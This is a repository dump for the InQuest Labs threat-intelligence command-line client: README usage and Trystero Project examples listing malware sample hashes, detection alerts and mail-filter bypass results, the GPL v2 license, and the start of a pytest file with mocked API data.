49 | inquestlabs [options] iocdb search
50 | inquestlabs [options] iocdb sources
51 | inquestlabs [options] repdb list
52 | inquestlabs [options] repdb search
53 | inquestlabs [options] repdb sources
54 | inquestlabs [options] yara (b64re|base64re) [(--big-endian|--little-endian)]
55 | inquestlabs [options] yara hexcase
56 | inquestlabs [options] yara uint [--offset=] [--hex]
57 | inquestlabs [options] yara widere [(--big-endian|--little-endian)]
58 | inquestlabs [options] yara cidr
59 | inquestlabs [options] lookup ip
60 | inquestlabs [options] lookup domain
61 | inquestlabs [options] report
62 | inquestlabs [options] stats
63 | inquestlabs [options] setup
64 | inquestlabs [options] trystero list-days
65 | inquestlabs [options] trystero list-samples
66 |
67 | Options:
68 | --attributes Include attributes with DFI record.
69 | --api= Specify an API key.
70 | --big-endian Toggle big endian.
71 | --config= Configuration file with API key [default: ~/.iqlabskey].
72 | --debug Docopt debugging.
73 | --encrypt Zip sample with password 'infected' before downloading.
74 | --filter= Filter by attributes type (domain, email, filename, filepath, ip, registry, url, xmpid)
75 | -h --help Show this screen.
76 | --hex Treat as hex bytes.
77 | -l --limits Show remaining API credits and limit reset window.
78 | --little-endian Toggle little endian.
79 | --offset= Specify an offset other than 0 for the trigger.
80 | --proxy= Intermediate proxy
81 | --timeout= Maximum amount of time to wait for IOC report.
82 | --verbose= Verbosity level, outputs to stderr [default: 0].
83 | --version Show version.
84 | ```
85 |
86 |
87 |
88 |
89 | ## InQuest Labs API Integrations
90 |
91 | The following third-party projects integrate with InQuest Labs:
92 |
93 | * [MalOverview](https://github.com/alexandreborges/malwoverview) from
94 | [@ale_sp_brazil](https://twitter.com/ale_sp_brazil).
95 | * [EML Analyzer](https://eml-analyzer.herokuapp.com/) from
96 | [@ninoseki](https://twitter.com/ninoseki).
97 | * ["Spoken" IOCs](https://github.com/safernandez666/IOC) from
98 | [@safernandez666](https://twitter.com/safernandez666).
99 | * [Axial R4PTOR](https://ax1al.com/projects/r4pt0r) from
100 | [@AXI4L](https://twitter.com/AXI4L).
101 |
102 | Get in touch or issue a pull request to get your project listed.
103 |
104 | ## The Trystero Project
105 |
106 | The vast majority of attacks (>90%) are email-borne. The "Trystero Project" is our code name for an experiment that we're actively conducting to measure the security efficacy of the two largest mail providers, Google and Microsoft, against real-world emerging malware. The basic idea is this... let's take real-world threats daily and loop it through the two most popular cloud email providers, Google and Microsoft. We'll monitor which samples make it to the inbox and compare the results over the time. You can read more, view graphs, explore data, and compare results at [InQuest Labs: Trystero Project](https://labs.inquest.net/trystero). If you're curious to explore the testing corpus further, see the following two command line options:
107 |
108 | ### List Trystero Days
109 |
110 | For a list of days we have ran the Trystero Project and the number of samples harvested for each day. Note that `first_record` denotes the earliest record (2020-08-09).
111 |
112 |
113 | View example
114 |
115 | ```bash
116 | $ inquestlabs trystero list-days | jq .
117 | {
118 | "2021-01-08": 27,
119 | "2021-01-09": 26,
120 | "2021-04-20": 47,
121 | "2020-12-31": 304,
122 | "2021-01-03": 21,
123 | "2021-01-01": 7,
124 | "2021-01-06": 35,
125 | "2021-01-07": 17,
126 | "2021-01-04": 17,
127 | "2021-01-05": 20,
128 | "2021-06-14": 8,
129 | "2021-07-27": 55,
130 | "2021-03-28": 17,
131 | "2021-03-29": 18,
132 | "2021-03-26": 269,
133 | "2021-03-27": 52,
134 | "2021-03-24": 169,
135 | "2021-03-25": 543,
136 | "2021-03-22": 5,
137 | "2021-03-23": 197,
138 | "2021-03-20": 28,
139 | "2021-03-21": 46,
140 | "2021-04-12": 5,
141 | "2021-04-13": 23,
142 | "2021-03-18": 142,
143 | "2021-04-11": 13,
144 | "2021-04-16": 28,
145 | "2021-04-17": 94,
146 | "2021-04-14": 30,
147 | "2021-04-15": 46,
148 | "2021-06-21": 9,
149 | "2021-04-18": 13,
150 | "2021-04-19": 16,
151 | "2021-04-07": 40,
152 | "2021-06-20": 33,
153 | "2021-07-11": 22,
154 | "2021-08-09": 22,
155 | "first_record": "2020-08-09",
156 | "2021-06-22": 23,
157 | "2021-05-20": 490,
158 | "2021-01-19": 139,
159 | "2021-01-18": 16,
160 | "2021-04-26": 11,
161 | "2020-12-20": 3,
162 | "2020-12-23": 124,
163 | "2021-05-07": 60,
164 | "2021-01-11": 42,
165 | "2021-01-10": 5,
166 | "2021-01-13": 4,
167 | "2021-01-15": 35,
168 | "2021-01-14": 115,
169 | "2021-01-17": 15,
170 | "2021-01-16": 26,
171 | "2021-07-10": 43,
172 | "2021-04-02": 117,
173 | "2021-06-24": 88,
174 | "2021-06-25": 67,
175 | "2021-04-05": 16,
176 | "2021-05-21": 741,
177 | "2021-06-26": 4,
178 | "2021-03-31": 54,
179 | "2021-03-30": 51,
180 | "2021-06-23": 48,
181 | "2021-04-04": 18,
182 | "2021-02-21": 9,
183 | "2021-02-20": 113,
184 | "2021-02-23": 47,
185 | "2021-02-22": 10,
186 | "2021-02-25": 235,
187 | "2021-02-24": 54,
188 | "2021-02-27": 39,
189 | "2021-02-26": 42,
190 | "2021-04-09": 15,
191 | "2021-02-28": 19,
192 | "2021-04-06": 32,
193 | "2021-07-22": 147,
194 | "2021-04-08": 42,
195 | "2021-05-22": 1314,
196 | "2021-04-24": 35,
197 | "2021-05-02": 22,
198 | "2021-01-28": 60,
199 | "2021-01-29": 183,
200 | "2020-11-06": 1,
201 | "2021-01-25": 19,
202 | "2021-01-26": 42,
203 | "2020-11-05": 2,
204 | "2021-01-20": 1168,
205 | "2020-11-03": 26,
206 | "2021-01-22": 516,
207 | "2021-01-23": 361,
208 | "2021-03-01": 12,
209 | "2021-03-02": 117,
210 | "2021-03-03": 31,
211 | "2021-03-04": 17,
212 | "2021-03-05": 11,
213 | "2021-03-06": 10,
214 | "2021-03-07": 9,
215 | "2021-03-08": 13,
216 | "2021-03-09": 19,
217 | "2021-04-03": 45,
218 | "2021-05-03": 7,
219 | "2021-02-14": 5,
220 | "2021-02-15": 8,
221 | "2021-02-16": 19,
222 | "2021-02-17": 426,
223 | "2021-02-10": 113,
224 | "2021-02-11": 107,
225 | "2021-02-12": 77,
226 | "2021-02-13": 67,
227 | "2021-02-18": 40,
228 | "2021-02-19": 121,
229 | "2021-05-24": 20,
230 | "2021-06-30": 64,
231 | "2021-08-05": 30,
232 | "2021-08-04": 406,
233 | "2021-08-07": 30,
234 | "2021-08-06": 49,
235 | "2021-08-01": 582,
236 | "2021-08-03": 154,
237 | "2021-08-02": 60,
238 | "2021-07-13": 17,
239 | "2021-01-31": 19,
240 | "2021-01-30": 144,
241 | "2021-05-05": 95,
242 | "2021-07-12": 174,
243 | "2020-11-15": 1,
244 | "2021-04-10": 24,
245 | "2021-03-17": 113,
246 | "2021-03-16": 92,
247 | "2021-02-09": 389,
248 | "2021-02-08": 26,
249 | "2021-03-13": 197,
250 | "2021-03-12": 147,
251 | "2020-08-28": 1,
252 | "2021-03-10": 595,
253 | "2021-02-03": 87,
254 | "2021-02-02": 48,
255 | "2021-02-01": 13,
256 | "2020-08-25": 26,
257 | "2021-02-07": 33,
258 | "2021-02-06": 27,
259 | "2021-02-05": 103,
260 | "2021-02-04": 141,
261 | "2021-05-28": 33,
262 | "2021-07-15": 51,
263 | "2021-06-06": 154,
264 | "2021-06-09": 33,
265 | "2021-07-14": 43,
266 | "2021-03-15": 26,
267 | "2021-06-08": 33,
268 | "2020-12-18": 55,
269 | "2020-12-19": 14,
270 | "2021-03-14": 26,
271 | "2021-08-10": 36,
272 | "2021-04-29": 122,
273 | "2020-12-11": 1,
274 | "2020-12-15": 4,
275 | "2020-12-16": 18,
276 | "2020-12-17": 22,
277 | "2021-05-19": 180,
278 | "2021-03-11": 168,
279 | "2020-11-26": 1,
280 | "2021-07-16": 16,
281 | "2021-05-27": 236,
282 | "2020-08-26": 22,
283 | "2021-05-06": 71,
284 | "2021-04-28": 51,
285 | "2020-08-27": 7,
286 | "2020-08-31": 1,
287 | "2020-08-24": 5,
288 | "2021-05-31": 16,
289 | "2021-05-30": 11,
290 | "2021-05-18": 242,
291 | "2020-09-22": 1,
292 | "2020-09-25": 1,
293 | "2020-09-26": 1,
294 | "2020-08-22": 63,
295 | "2021-06-07": 22,
296 | "2021-05-01": 20,
297 | "2020-08-23": 2,
298 | "2021-01-24": 35,
299 | "2021-06-27": 2,
300 | "2020-08-20": 26,
301 | "2020-12-07": 1,
302 | "2020-12-05": 6,
303 | "2020-12-04": 4,
304 | "2020-12-03": 3,
305 | "2021-01-27": 99,
306 | "2021-01-21": 73,
307 | "2021-07-09": 30,
308 | "2021-04-27": 35,
309 | "2021-07-29": 184,
310 | "2021-06-11": 30,
311 | "2021-05-26": 27,
312 | "2021-07-23": 54,
313 | "2021-07-20": 5,
314 | "2021-07-26": 17,
315 | "2021-06-12": 26,
316 | "2021-07-24": 7,
317 | "2021-07-04": 8,
318 | "2021-06-13": 9,
319 | "2021-05-23": 31,
320 | "2021-04-01": 47,
321 | "2021-06-15": 15,
322 | "2021-03-19": 189,
323 | "2021-07-07": 31,
324 | "2021-06-16": 10,
325 | "2021-06-05": 49,
326 | "2021-06-18": 20,
327 | "2021-04-25": 24,
328 | "2021-07-02": 50,
329 | "2021-06-19": 135,
330 | "2020-09-02": 3,
331 | "2020-09-01": 2,
332 | "2020-09-05": 1,
333 | "2020-09-04": 11,
334 | "2021-06-03": 36,
335 | "2021-07-30": 505,
336 | "2021-04-23": 48,
337 | "2020-08-19": 93,
338 | "2021-05-15": 38,
339 | "2021-06-02": 50,
340 | "2021-05-14": 575,
341 | "2020-12-29": 457,
342 | "2021-04-22": 61,
343 | "2021-05-17": 14,
344 | "2021-05-16": 4,
345 | "2021-05-04": 79,
346 | "2021-04-30": 288,
347 | "2021-06-01": 49,
348 | "2021-07-08": 46,
349 | "2021-05-13": 156,
350 | "2021-04-21": 75,
351 | "2021-07-05": 19,
352 | "2021-07-06": 23,
353 | "2021-05-12": 23,
354 | "2021-07-01": 64,
355 | "2020-08-21": 29,
356 | "2021-07-03": 44,
357 | "2021-06-29": 4,
358 | "2021-05-25": 83
359 | }
360 | ```
361 |
362 |
363 |
364 |
365 | ### List Trystero Samples
366 |
367 | You can receive further details about each sample from any given daily corpus. Information included is similar to the output of `dfi list` with the addition of `bypasses` that denotes which provider was bypassed and `available_on_labs` which states the sample can be seen on [labs.inquest.net](https://labs.inquest.net/).
368 |
369 |
370 |
371 | View example
372 |
373 | ```bash
374 | $ inquestlabs trystero list-samples 2021-06-29 | jq .
375 | [
376 | {
377 | "analysis_completed": true,
378 | "bypasses": "google,microsoft",
379 | "subcategory": "macro_hunter",
380 | "classification": "MALICIOUS",
381 | "subcategory_url": "https://github.com/InQuest/yara-rules/blob/master/labs.inquest.net/macro_hunter.rule",
382 | "file_type": "OLE",
383 | "image": false,
384 | "vt_positives": 3,
385 | "inquest_alerts": [
386 | {
387 | "category": "info",
388 | "description": "Detected macro logic that can write data to the file system.",
389 | "reference": null,
390 | "title": "Macro with File System Write"
391 | },
392 | {
393 | "category": "evasive",
394 | "description": "Detected a macro with an elusive start-up hook. These esoteric hooks result in automated macro logic execution which may not be detected by dynamic analysis systems.",
395 | "reference": null,
396 | "title": "Macro with Esoteric Startup Hook"
397 | },
398 | {
399 | "category": "info",
400 | "description": "Detected macro logic that will automatically execute on document open. Most malware contains some execution hook.",
401 | "reference": null,
402 | "title": "Macro with Startup Hook"
403 | },
404 | {
405 | "category": "malicious",
406 | "description": "An InQuest machine-learning model classified this macro as potentially malicious.",
407 | "reference": null,
408 | "title": "InQuest Machine Learning"
409 | },
410 | {
411 | "category": "suspicious",
412 | "description": "Detected macro logic that will load additional functionality from Dynamically Linked Libraries (DLLs). While not explicitly malicious, this is a common tactic for accessing APIs that are not otherwised exposed via Visual Basic for Applications (VBA).",
413 | "reference": null,
414 | "title": "Macro with DLL Reference"
415 | }
416 | ],
417 | "downloadable": true,
418 | "available_on_labs": true,
419 | "vt_weight": 0,
420 | "last_inquest_featext": "2021-06-28T04:16:36",
421 | "first_seen": "2021-06-28T04:15:47",
422 | "sha256": "c1df09944fe4eb4f7f86bd3a342e4548e584290167623959bca58acef4e25a1d",
423 | "mime_type": "application/cdfv2",
424 | "size": 1305088
425 | },
426 | {
427 | "analysis_completed": true,
428 | "bypasses": "microsoft",
429 | "subcategory": "macro_hunter",
430 | "classification": "MALICIOUS",
431 | "subcategory_url": "https://github.com/InQuest/yara-rules/blob/master/labs.inquest.net/macro_hunter.rule",
432 | "file_type": "OLE",
433 | "image": false,
434 | "vt_positives": 12,
435 | "inquest_alerts": [
436 | {
437 | "category": "info",
438 | "description": "Detected macro logic that can write data to the file system.",
439 | "reference": null,
440 | "title": "Macro with File System Write"
441 | },
442 | {
443 | "category": "info",
444 | "description": "Detected macro logic that will automatically execute on document open. Most malware contains some execution hook.",
445 | "reference": null,
446 | "title": "Macro with Startup Hook"
447 | },
448 | {
449 | "category": "info",
450 | "description": "Detected a macro with a suspicious string. Suspicious strings include privileged function calls, obfuscations, odd registry keys, etc...",
451 | "reference": null,
452 | "title": "Macro Contains Suspicious String"
453 | },
454 | {
455 | "category": "suspicious",
456 | "description": "Detected a macro that leverages Windows Management Instrumentation (WMI) functionality.",
457 | "reference": null,
458 | "title": "WMI Functionality"
459 | }
460 | ],
461 | "downloadable": true,
462 | "available_on_labs": true,
463 | "vt_weight": 6.199999809265137,
464 | "last_inquest_featext": "2021-06-28T12:14:44",
465 | "first_seen": "2021-06-28T12:13:41",
466 | "sha256": "59876f4baebcc78f3fcc944b24efb475f5030f6bb10190f4c07a6af5fa5c1568",
467 | "mime_type": "application/cdfv2",
468 | "size": 22528
469 | },
470 | {
471 | "analysis_completed": false,
472 | "bypasses": "google,microsoft",
473 | "subcategory": "maldoc_hunter",
474 | "classification": "MALICIOUS",
475 | "subcategory_url": "https://github.com/InQuest/yara-rules/blob/master/labs.inquest.net/maldoc_hunter.rule",
476 | "file_type": "OTHER",
477 | "image": false,
478 | "vt_positives": 9,
479 | "inquest_alerts": [
480 | {
481 | "category": "info",
482 | "description": "Found a Windows Portable Executable (PE) binary. Depending on context, the presence of a binary is suspicious or malicious.",
483 | "reference": null,
484 | "title": "Windows PE Executable"
485 | },
486 | {
487 | "category": "suspicious",
488 | "description": "Detected an ANSI or UNICODE http:// or https:// base64 encoded URL prefix.",
489 | "reference": null,
490 | "title": "Base64 Encoded URL"
491 | }
492 | ],
493 | "downloadable": false,
494 | "available_on_labs": false,
495 | "vt_weight": 5.800000190734863,
496 | "last_inquest_featext": null,
497 | "first_seen": "2021-06-28T12:58:56",
498 | "sha256": "bd736e5b4dc9e802a4b9c4cab0d1e0df872ce3c42091142d50b7520dc02abaad",
499 | "mime_type": "application/x-msi",
500 | "size": 4687360
501 | },
502 | {
503 | "analysis_completed": false,
504 | "bypasses": "microsoft",
505 | "subcategory": "maljar_hunter",
506 | "classification": "MALICIOUS",
507 | "subcategory_url": "https://github.com/InQuest/yara-rules/blob/master/labs.inquest.net/maljar_hunter.rule",
508 | "file_type": "OTHER",
509 | "image": false,
510 | "vt_positives": 9,
511 | "inquest_alerts": [],
512 | "downloadable": false,
513 | "available_on_labs": false,
514 | "vt_weight": 3.5999999046325684,
515 | "last_inquest_featext": null,
516 | "first_seen": "2021-06-28T13:43:23",
517 | "sha256": "e4ae2b5eb9b8549a322354dff9e88a0a356646351f5087e2d6ef91a630ef6007",
518 | "mime_type": "application/x-java-applet",
519 | "size": 19799
520 | }
521 | ]
522 | ```
523 |
524 |
525 |
--------------------------------------------------------------------------------
/LICENSE:
--------------------------------------------------------------------------------
1 | GNU GENERAL PUBLIC LICENSE
2 | Version 2, June 1991
3 |
4 | Copyright (C) 1989, 1991 Free Software Foundation, Inc.,
5 | 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
6 | Everyone is permitted to copy and distribute verbatim copies
7 | of this license document, but changing it is not allowed.
8 |
9 | Preamble
10 |
11 | The licenses for most software are designed to take away your
12 | freedom to share and change it. By contrast, the GNU General Public
13 | License is intended to guarantee your freedom to share and change free
14 | software--to make sure the software is free for all its users. This
15 | General Public License applies to most of the Free Software
16 | Foundation's software and to any other program whose authors commit to
17 | using it. (Some other Free Software Foundation software is covered by
18 | the GNU Lesser General Public License instead.) You can apply it to
19 | your programs, too.
20 |
21 | When we speak of free software, we are referring to freedom, not
22 | price. Our General Public Licenses are designed to make sure that you
23 | have the freedom to distribute copies of free software (and charge for
24 | this service if you wish), that you receive source code or can get it
25 | if you want it, that you can change the software or use pieces of it
26 | in new free programs; and that you know you can do these things.
27 |
28 | To protect your rights, we need to make restrictions that forbid
29 | anyone to deny you these rights or to ask you to surrender the rights.
30 | These restrictions translate to certain responsibilities for you if you
31 | distribute copies of the software, or if you modify it.
32 |
33 | For example, if you distribute copies of such a program, whether
34 | gratis or for a fee, you must give the recipients all the rights that
35 | you have. You must make sure that they, too, receive or can get the
36 | source code. And you must show them these terms so they know their
37 | rights.
38 |
39 | We protect your rights with two steps: (1) copyright the software, and
40 | (2) offer you this license which gives you legal permission to copy,
41 | distribute and/or modify the software.
42 |
43 | Also, for each author's protection and ours, we want to make certain
44 | that everyone understands that there is no warranty for this free
45 | software. If the software is modified by someone else and passed on, we
46 | want its recipients to know that what they have is not the original, so
47 | that any problems introduced by others will not reflect on the original
48 | authors' reputations.
49 |
50 | Finally, any free program is threatened constantly by software
51 | patents. We wish to avoid the danger that redistributors of a free
52 | program will individually obtain patent licenses, in effect making the
53 | program proprietary. To prevent this, we have made it clear that any
54 | patent must be licensed for everyone's free use or not licensed at all.
55 |
56 | The precise terms and conditions for copying, distribution and
57 | modification follow.
58 |
59 | GNU GENERAL PUBLIC LICENSE
60 | TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION
61 |
62 | 0. This License applies to any program or other work which contains
63 | a notice placed by the copyright holder saying it may be distributed
64 | under the terms of this General Public License. The "Program", below,
65 | refers to any such program or work, and a "work based on the Program"
66 | means either the Program or any derivative work under copyright law:
67 | that is to say, a work containing the Program or a portion of it,
68 | either verbatim or with modifications and/or translated into another
69 | language. (Hereinafter, translation is included without limitation in
70 | the term "modification".) Each licensee is addressed as "you".
71 |
72 | Activities other than copying, distribution and modification are not
73 | covered by this License; they are outside its scope. The act of
74 | running the Program is not restricted, and the output from the Program
75 | is covered only if its contents constitute a work based on the
76 | Program (independent of having been made by running the Program).
77 | Whether that is true depends on what the Program does.
78 |
79 | 1. You may copy and distribute verbatim copies of the Program's
80 | source code as you receive it, in any medium, provided that you
81 | conspicuously and appropriately publish on each copy an appropriate
82 | copyright notice and disclaimer of warranty; keep intact all the
83 | notices that refer to this License and to the absence of any warranty;
84 | and give any other recipients of the Program a copy of this License
85 | along with the Program.
86 |
87 | You may charge a fee for the physical act of transferring a copy, and
88 | you may at your option offer warranty protection in exchange for a fee.
89 |
90 | 2. You may modify your copy or copies of the Program or any portion
91 | of it, thus forming a work based on the Program, and copy and
92 | distribute such modifications or work under the terms of Section 1
93 | above, provided that you also meet all of these conditions:
94 |
95 | a) You must cause the modified files to carry prominent notices
96 | stating that you changed the files and the date of any change.
97 |
98 | b) You must cause any work that you distribute or publish, that in
99 | whole or in part contains or is derived from the Program or any
100 | part thereof, to be licensed as a whole at no charge to all third
101 | parties under the terms of this License.
102 |
103 | c) If the modified program normally reads commands interactively
104 | when run, you must cause it, when started running for such
105 | interactive use in the most ordinary way, to print or display an
106 | announcement including an appropriate copyright notice and a
107 | notice that there is no warranty (or else, saying that you provide
108 | a warranty) and that users may redistribute the program under
109 | these conditions, and telling the user how to view a copy of this
110 | License. (Exception: if the Program itself is interactive but
111 | does not normally print such an announcement, your work based on
112 | the Program is not required to print an announcement.)
113 |
114 | These requirements apply to the modified work as a whole. If
115 | identifiable sections of that work are not derived from the Program,
116 | and can be reasonably considered independent and separate works in
117 | themselves, then this License, and its terms, do not apply to those
118 | sections when you distribute them as separate works. But when you
119 | distribute the same sections as part of a whole which is a work based
120 | on the Program, the distribution of the whole must be on the terms of
121 | this License, whose permissions for other licensees extend to the
122 | entire whole, and thus to each and every part regardless of who wrote it.
123 |
124 | Thus, it is not the intent of this section to claim rights or contest
125 | your rights to work written entirely by you; rather, the intent is to
126 | exercise the right to control the distribution of derivative or
127 | collective works based on the Program.
128 |
129 | In addition, mere aggregation of another work not based on the Program
130 | with the Program (or with a work based on the Program) on a volume of
131 | a storage or distribution medium does not bring the other work under
132 | the scope of this License.
133 |
134 | 3. You may copy and distribute the Program (or a work based on it,
135 | under Section 2) in object code or executable form under the terms of
136 | Sections 1 and 2 above provided that you also do one of the following:
137 |
138 | a) Accompany it with the complete corresponding machine-readable
139 | source code, which must be distributed under the terms of Sections
140 | 1 and 2 above on a medium customarily used for software interchange; or,
141 |
142 | b) Accompany it with a written offer, valid for at least three
143 | years, to give any third party, for a charge no more than your
144 | cost of physically performing source distribution, a complete
145 | machine-readable copy of the corresponding source code, to be
146 | distributed under the terms of Sections 1 and 2 above on a medium
147 | customarily used for software interchange; or,
148 |
149 | c) Accompany it with the information you received as to the offer
150 | to distribute corresponding source code. (This alternative is
151 | allowed only for noncommercial distribution and only if you
152 | received the program in object code or executable form with such
153 | an offer, in accord with Subsection b above.)
154 |
155 | The source code for a work means the preferred form of the work for
156 | making modifications to it. For an executable work, complete source
157 | code means all the source code for all modules it contains, plus any
158 | associated interface definition files, plus the scripts used to
159 | control compilation and installation of the executable. However, as a
160 | special exception, the source code distributed need not include
161 | anything that is normally distributed (in either source or binary
162 | form) with the major components (compiler, kernel, and so on) of the
163 | operating system on which the executable runs, unless that component
164 | itself accompanies the executable.
165 |
166 | If distribution of executable or object code is made by offering
167 | access to copy from a designated place, then offering equivalent
168 | access to copy the source code from the same place counts as
169 | distribution of the source code, even though third parties are not
170 | compelled to copy the source along with the object code.
171 |
172 | 4. You may not copy, modify, sublicense, or distribute the Program
173 | except as expressly provided under this License. Any attempt
174 | otherwise to copy, modify, sublicense or distribute the Program is
175 | void, and will automatically terminate your rights under this License.
176 | However, parties who have received copies, or rights, from you under
177 | this License will not have their licenses terminated so long as such
178 | parties remain in full compliance.
179 |
180 | 5. You are not required to accept this License, since you have not
181 | signed it. However, nothing else grants you permission to modify or
182 | distribute the Program or its derivative works. These actions are
183 | prohibited by law if you do not accept this License. Therefore, by
184 | modifying or distributing the Program (or any work based on the
185 | Program), you indicate your acceptance of this License to do so, and
186 | all its terms and conditions for copying, distributing or modifying
187 | the Program or works based on it.
188 |
189 | 6. Each time you redistribute the Program (or any work based on the
190 | Program), the recipient automatically receives a license from the
191 | original licensor to copy, distribute or modify the Program subject to
192 | these terms and conditions. You may not impose any further
193 | restrictions on the recipients' exercise of the rights granted herein.
194 | You are not responsible for enforcing compliance by third parties to
195 | this License.
196 |
197 | 7. If, as a consequence of a court judgment or allegation of patent
198 | infringement or for any other reason (not limited to patent issues),
199 | conditions are imposed on you (whether by court order, agreement or
200 | otherwise) that contradict the conditions of this License, they do not
201 | excuse you from the conditions of this License. If you cannot
202 | distribute so as to satisfy simultaneously your obligations under this
203 | License and any other pertinent obligations, then as a consequence you
204 | may not distribute the Program at all. For example, if a patent
205 | license would not permit royalty-free redistribution of the Program by
206 | all those who receive copies directly or indirectly through you, then
207 | the only way you could satisfy both it and this License would be to
208 | refrain entirely from distribution of the Program.
209 |
210 | If any portion of this section is held invalid or unenforceable under
211 | any particular circumstance, the balance of the section is intended to
212 | apply and the section as a whole is intended to apply in other
213 | circumstances.
214 |
215 | It is not the purpose of this section to induce you to infringe any
216 | patents or other property right claims or to contest validity of any
217 | such claims; this section has the sole purpose of protecting the
218 | integrity of the free software distribution system, which is
219 | implemented by public license practices. Many people have made
220 | generous contributions to the wide range of software distributed
221 | through that system in reliance on consistent application of that
222 | system; it is up to the author/donor to decide if he or she is willing
223 | to distribute software through any other system and a licensee cannot
224 | impose that choice.
225 |
226 | This section is intended to make thoroughly clear what is believed to
227 | be a consequence of the rest of this License.
228 |
229 | 8. If the distribution and/or use of the Program is restricted in
230 | certain countries either by patents or by copyrighted interfaces, the
231 | original copyright holder who places the Program under this License
232 | may add an explicit geographical distribution limitation excluding
233 | those countries, so that distribution is permitted only in or among
234 | countries not thus excluded. In such case, this License incorporates
235 | the limitation as if written in the body of this License.
236 |
237 | 9. The Free Software Foundation may publish revised and/or new versions
238 | of the General Public License from time to time. Such new versions will
239 | be similar in spirit to the present version, but may differ in detail to
240 | address new problems or concerns.
241 |
242 | Each version is given a distinguishing version number. If the Program
243 | specifies a version number of this License which applies to it and "any
244 | later version", you have the option of following the terms and conditions
245 | either of that version or of any later version published by the Free
246 | Software Foundation. If the Program does not specify a version number of
247 | this License, you may choose any version ever published by the Free Software
248 | Foundation.
249 |
250 | 10. If you wish to incorporate parts of the Program into other free
251 | programs whose distribution conditions are different, write to the author
252 | to ask for permission. For software which is copyrighted by the Free
253 | Software Foundation, write to the Free Software Foundation; we sometimes
254 | make exceptions for this. Our decision will be guided by the two goals
255 | of preserving the free status of all derivatives of our free software and
256 | of promoting the sharing and reuse of software generally.
257 |
258 | NO WARRANTY
259 |
260 | 11. BECAUSE THE PROGRAM IS LICENSED FREE OF CHARGE, THERE IS NO WARRANTY
261 | FOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW. EXCEPT WHEN
262 | OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES
263 | PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED
264 | OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF
265 | MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. THE ENTIRE RISK AS
266 | TO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU. SHOULD THE
267 | PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING,
268 | REPAIR OR CORRECTION.
269 |
270 | 12. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING
271 | WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY AND/OR
272 | REDISTRIBUTE THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES,
273 | INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING
274 | OUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED
275 | TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY
276 | YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER
277 | PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE
278 | POSSIBILITY OF SUCH DAMAGES.
279 |
280 | END OF TERMS AND CONDITIONS
281 |
282 | How to Apply These Terms to Your New Programs
283 |
284 | If you develop a new program, and you want it to be of the greatest
285 | possible use to the public, the best way to achieve this is to make it
286 | free software which everyone can redistribute and change under these terms.
287 |
288 | To do so, attach the following notices to the program. It is safest
289 | to attach them to the start of each source file to most effectively
290 | convey the exclusion of warranty; and each file should have at least
291 | the "copyright" line and a pointer to where the full notice is found.
292 |
293 |
294 | Copyright (C)
295 |
296 | This program is free software; you can redistribute it and/or modify
297 | it under the terms of the GNU General Public License as published by
298 | the Free Software Foundation; either version 2 of the License, or
299 | (at your option) any later version.
300 |
301 | This program is distributed in the hope that it will be useful,
302 | but WITHOUT ANY WARRANTY; without even the implied warranty of
303 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
304 | GNU General Public License for more details.
305 |
306 | You should have received a copy of the GNU General Public License along
307 | with this program; if not, write to the Free Software Foundation, Inc.,
308 | 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
309 |
310 | Also add information on how to contact you by electronic and paper mail.
311 |
312 | If the program is interactive, make it output a short notice like this
313 | when it starts in an interactive mode:
314 |
315 | Gnomovision version 69, Copyright (C) year name of author
316 | Gnomovision comes with ABSOLUTELY NO WARRANTY; for details type `show w'.
317 | This is free software, and you are welcome to redistribute it
318 | under certain conditions; type `show c' for details.
319 |
320 | The hypothetical commands `show w' and `show c' should show the appropriate
321 | parts of the General Public License. Of course, the commands you use may
322 | be called something other than `show w' and `show c'; they could even be
323 | mouse-clicks or menu items--whatever suits your program.
324 |
325 | You should also get your employer (if you work as a programmer) or your
326 | school, if any, to sign a "copyright disclaimer" for the program, if
327 | necessary. Here is a sample; alter the names:
328 |
329 | Yoyodyne, Inc., hereby disclaims all copyright interest in the program
330 | `Gnomovision' (which makes passes at compilers) written by James Hacker.
331 |
332 | , 1 April 1989
333 | Ty Coon, President of Vice
334 |
335 | This General Public License does not permit incorporating your program into
336 | proprietary programs. If your program is a subroutine library, you may
337 | consider it more useful to permit linking proprietary applications with the
338 | library. If this is what you want to do, use the GNU Lesser General
339 | Public License instead of this License.
340 |
--------------------------------------------------------------------------------
/tests/test_dfi_details.py:
--------------------------------------------------------------------------------
1 | import pytest
2 |
3 | from inquestlabs import inquestlabs_exception
4 | import requests_mock
5 | import requests
6 |
7 |
8 | @pytest.fixture
9 | def mock_details():
10 | mocked = u"""{
11 | "analysis_completed": true,
12 | "classification": "MALICIOUS",
